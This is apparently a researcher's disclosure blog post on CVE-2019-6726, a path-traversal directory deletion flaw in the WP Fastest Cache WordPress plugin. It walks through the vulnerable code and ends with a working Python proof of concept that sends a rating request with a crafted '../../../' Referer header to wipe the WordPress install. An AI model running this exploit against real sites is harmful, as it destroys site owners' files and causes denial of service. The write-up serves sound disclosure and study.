CVE-2019-6726: Arbitrary File Deletion in WP fastest Cache <= 0.8.9.0

In this blogpost I will explain the details of CVE-2019-6726 - an arbitrary file deletion bug in the WP Fastest Cache wordpress plugin that I discovered last year.

Overview

The bug was fixed in version 0.8.9.1 which was released more than 2 weeks ago. The bug is only exploitable if another plugin, WP Postratings, is installed and at least one rateable post or page exists! Furthermore, the Wordpress site must have a "pretty" URL scheme configured, e.g. /<data>/<title>/ or so. Here's an example of such a post:

URL schema and rateable post

Although WP Fastest Cache has over 900,000 installs, WP Postratings only has around 100,000, so the set of websites that have both plugins installed is probably somewhere in the lower 10-thousands.

An attacker can only delete files from directories, but not specific files, that are writeable by the webserver. To my knowledge, this limits this vulnerability to Denial of Service (DoS) if the attacker decides to remove important Wordpress files. It therefore cannot be used in combination with the recently published Wordpress RCE where deleting the wp-config.php would restart the installation process.

Analysis

Now that I spoiled that the vulnerability is only exploitable if multiple requirements are met, we can continue to focus on the technical details ;-)

Wordpress uses a callback/hook system to execute functions when certain things happen. The WP Fastest Cache plugin registeres several such hooks:

WP Fastest Cache hooks

The hook that caught my attentation was rate_action which will execute wp_postratings_clear_cache. After having a short look into the source code of WP Postratings, I found out that whenever a rating is given, the rate_action hooks are triggered. WP Fastest Cache waits for that trigger, because it has to renew the cache so that the new rating statistics are immediately visible for the website visitor.

I became curious and wanted to find out how the cache is cleared, because ratings can be given without being authenticated and with a simple POST request. Maybe we can somehow interfere with the caching system?

Function wp_postratings_clear_cache

The wp_postratings_clear_cache function was quickly found and it indeed looked interesting! It first checks if a referrer header is set and then continues to parse it using parse_url. If the resulting path portion is not empty, then function continues. For example everything following an URL's / becomes the path portion:

php > var_dump(parse_url('https://0day.work/'));
array(3) {
  ["scheme"]=>
  string(5) "https"
  ["host"]=>
  string(9) "0day.work"
  ["path"]=>
  string(1) "/"
}

If the path contains more than one /, the next conditional test will be false and branch into the more interesting part:

Path building with string concatenation

It looks like a path is dynamically built using string concatenation with our attacker-controlled $url['path'] portion. Such code should make each security researcher even more curious to see where the resulting path is being used. Let's find out what the rm_folder_recursively function does ;-)

rm_folder_recursively function deletes files
The two outermost conditions check if the passed path is a directory. That's also why our final exploit and impact is limited to directories only.

But let's have a closer look at the source code: It uses scandir to find files in the attacker-controlled path and then loops over them to eventually call unlink to remove the file. The function will also recursively traverse subdirectories. A shared counter $i is incremented on each recursive function call with a maximum depth of 50.

The maximum recursion depth is only enforced for the free version. That means that if the victim has bought the premium version the max depth check is falsified and a successful exploit will keep deleting files until either no files are left or the execution timeout is hit... Premium security, I would say :-D

In the end, all the attacker has to do is to post a rating with a specially crafted referrer header to immediately deleted several directories from the victim's webserver - for example the wordpress installation.

Attacker's exploit http request

By pointing the path to wordpress' document root, the vulnerable code path will remove PHP files that are usually required by wordpress to run, e.g. index.php, wp-admin/, wp-config.php etc.

This is equivalent to a DoS, because the webserver will just render an 404 NOT FOUND error afterwards, because it cannot find an index.php to execute anymore. Short reminder to check your backup strategy again ;-)

Proof of Concept

Here's a very basic PoC that will do the following:

  • Fetch the source code of the target URL
  • Parse out the nonce needed to post a rating
  • Post a rating for the given post using a malicious referrer
  • Thereby deleting important wordpress files and demonstrating the vulnerability.
#!/usr/bin/python
# PoC for CVE-2019-6726 by @gehaxelt

import requests
from bs4 import BeautifulSoup
#from requests.auth import HTTPBasicAuth

# The vulnerable page with a ratable post
BASE_URL = "http://localhost:7349/"
VOTE_PAGE = "rate-my-bobby-car-and-again/"
RATINGS_POST_OR_PAGE = "{}{}".format(BASE_URL, VOTE_PAGE) 

# Send initial request to obtain nonce!
r = requests.get(RATINGS_POST_OR_PAGE)

# Parse returned HTML
bs = BeautifulSoup(r.content, "html5lib")

# Find span that has the nonce!
the_span = bs.find_all('span', attrs={'data-nonce' : True})[0]
nonce = the_span['data-nonce']
pid = the_span['id'].replace("post-ratings-", "")
print("the nonce is: ", nonce)
print("the pid is: ", pid)

burp0_url = "{}wp-admin/admin-ajax.php".format(BASE_URL)
burp0_headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0", 
    "Accept": "text/html, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5", 
    "Accept-Encoding": "gzip, deflate", 
    "Referer": "{}../../../".format(BASE_URL), 
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", 
    "X-Requested-With": "XMLHttpRequest", 
    "DNT": "1", 
    "Connection": "close",
    }
burp0_data={"action": "postratings", "pid": pid, "rate": "5", "postratings_{}_nonce".format(pid): nonce}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print("Response is: ", r.status_code)

Disclosure

I followed the principles and reported the issue to the developer. After a bit of back-and-forth he decided to implement a fix. Although I believe that the final fix breaks some functionality, it at least prevents the vulnerability from being exploited.

-=-